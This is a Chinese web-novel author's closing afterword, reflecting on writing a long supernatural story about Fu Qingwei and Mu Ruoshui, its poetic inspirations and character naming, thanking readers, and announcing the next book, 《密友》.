没有穿越,没有头是尾尾是头,最初的想法是平常的单元文捉鬼故事,主题偏治愈,是穆若水治愈傅清微哈哈,有一个反派设定,我非常喜欢,搞不好以后还想写那个人设,所以这里先不说了。因为时隔太久我已经没有激情了,我想要搞个大的(应该没有作者不想搞个大的),才有创作欲望。于是去年初我绞尽脑汁想了半个多月,推翻了好几版设定,最后就像宇宙大爆炸的那一个点,我想到了第一章的内容,就是那扇门,大傅和小傅对话的那个场景。突然我的灵感就爆发了,源源不断(也不是,一卡一卡地涌来),一切都是从那扇门开始的,故事是,对我来说也是这样。 但是创作这本书是非常痛苦的,我和朋友说要挑战舒适区,尽量扬长避短,结果踏出去发现,全是短板,这木桶怎么一根长的都没有啊?【我是废物jpg] 开头卡了很久,几版废稿还在,可我不会给你们看滴。总之虽然痛苦,但是也坚持下来啦,现在回头看还是很感慨的,百感交集,痛并快乐着,很开心创造了她们和整个故事。 前几年我很喜欢两句诗,可以说我为了这两句诗,包了大半本书的饺子。一句是姜夔的“春未绿,鬓先丝,人间别久不成悲”,我让大傅和大穆分别了一百多年,设计了一个复杂的穿越情节,包括时空闭环。 另一句是“偏我来时不逢春”,这句是下卷的题眼。我为了春,一定要给穆若水取一个带“雪”的曾用名,事实证明这是在为难自己,你们可能想不到我到底取了多少名字。浅提一笔,有:穆雪更(取自风一更雪一更)、穆雪濯、穆雪宜、穆淮雪等等……后来我决定不要姓穆,容易被傅清微联系到大穆,好不容易确定叫湛雪,取了容、曲、虞、南、姜等姓,在写到那一章之前,终于决定姓姬,叫姬湛雪,这个名字我至今十分满意。(在此感谢石夫人每天听我纠结这些细枝末节,帮我投出她毫无作用的那一票,基本她投什么我就不选什么嘻嘻。)提起姬湛雪,我曾经想把她放主角栏,可她精彩的一生不该是一个括号(姬湛雪),我又想把她单独放配角栏第一位,以示特别,然而她和穆若水又是一个人,穆若水就是姬湛雪。所以最后我都没填,就让她留在傅水cp和我们的心中,不会有人忘记小雪。另外,我也非常喜欢自己的下卷,比我开文前脑内预想的效果更好,重头戏都达到了我要的情绪,没有遗憾了。 写文过程中有很多灵光一闪,有的被我衡量后放弃,有的是点睛之笔。比如甘棠和杜昔言这对,“奈何桥前三百年,她们谁也没能等到谁”,是我在写到第100章时,突如其来的灵感,毫不夸张地说当时我手舞足蹈,兴奋不已,喜笑颜开,足足和石夫人念叨了两天,直到哭着写完那章结尾,问就是非常爽,我创作就是为了这样的瞬间(这本书其实还有很多这样的瞬间,就不——提了捏),更多的幕后有机会也许有一天会和大家分享。 大长篇连载到中后期,对作者是体力和精神的双重折磨,我也生了几次病,因为没空去医院全靠熬,准备结文后去做胃肠镜和全身体检惹。支撑我的有两个理由:第一是默念“完成比完美更重要”,只要写下去,不要畏难,也许船到桥头会发现没有那么难;第二是每天勤勤恳恳准时来追更新的读者。其实这本书开文之初我就预感到会比较冷,可能因为题材缘故,数据甚至比不上我随手写的甜文小短篇,但是收获了一群最热情的读者! 晋江新出的段评可算让你们发挥用武之地了,一半的快乐来自创作,另一半的快乐都是你们热情的留言和支持带给我的。我一直认为追更的读者和作者是相辅相成的,没有你们,我肯定没办法坚持全勤到今天,最多推迟更新,一次假都没请过。久未写感言,洋洋洒洒写了一大篇,页面盛不下我充沛的情感,和对爱我的你们的感激与喜爱。 我爱我笔下的傅水cp,傅清微&穆若水,和她们所在的这个世界。如果你们也非常喜欢这本书的话,请向身边的朋友安利晋江正版,想让很好的她们被更多的人认识和喜欢。完结后,我要休息一段时间,很久没有看过落日了。 近两年应该不会再开大长篇了,下本会写《密友》,闺蜜变情人,应该是比较轻松的类型。 也许,再见是暑假。 回见,各位。 我先去看看春天啦。 我打算开的新文,感兴趣的小天使点进去收藏一个吧~ 密友 猫不透的她娱乐豳 等雾散去无限 亲爱的辛德瑞拉 密友 猜不透的她[娱乐 等雾散去[无限]